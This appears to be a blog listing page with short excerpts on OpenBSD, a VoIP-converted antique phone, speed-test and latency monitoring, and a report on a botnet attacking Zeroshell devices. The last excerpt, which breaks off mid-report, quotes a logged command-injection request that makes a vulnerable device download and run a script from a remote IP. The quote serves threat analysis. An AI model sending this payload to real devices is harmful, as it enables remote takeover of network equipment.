There’s always been a kind of temptation from the proverbial ‘other side of the fence’ when it comes to Unix-like operating systems. This idea that there’s an entirely separate and similar, but entirely distinct system from what I’m used to is exactly what’s pulled me towards OpenBSD today. As somebody experienced with almost every mainstream Linux distro, I wasn’t entirely sure what to expect. Visiting the website (openbsd.org), the first thing I noticed was how dense and concise the documentation was.

One of the worst parts of modern life is how unsatisfying it is to hang up on somebody. Tapping on the ‘End Call’ button on an iPhone or angrily clicking ‘Leave Meeting’ on Zoom just isn’t nearly as fun as slamming down the handset on a real phone. This particular project was to breathe some life into the antique Northern Telecom phone from my grandparents' house by attaching it to a modern VoIP system.

Similar to another post about WAN latency, this is a simple system to automate periodic internet speed tests. The two main components are speedtest-cli and ElasticSearch. These were chosen because I already had both set up and running, along with all the visualization and analytical software. To get a basic POC set up, just install ElasticSearch and Kibana with Docker. Once the node/cluster is running, the ‘speedtest client’ server can be set up.

This is a simple, ‘quick and dirty’ way to measure network latency over long periods of time. The only ‘complicated’ part is setting up InfluxDB, but I imagine that many folks already have it set up. To get started, check the official documentation. Network latency will be measured with the good old ping command, then formatted with generic Unix tools. Then, statistics are stored using the influxdb write endpoint using the line protocol format.

Back in August, I discovered novel cyberattacks targeting network infrastructure. Now, four months later, another botnet is targeting these devices again. My original report is here: https://nbailey.ca/post/zeroshell-botnet New attack The previous version of the zeroshell malware would leave logs with this pattern: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F99.99.99.99%2Fzero;sh%20zero;%22 Decoding the URL strings, we get: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*";cd /tmp;curl -O http://99.99.99.99/zero;sh zero;" This string causes the vulnerable system to download and execute a shell script named zero. However, the new attack takes on a different form: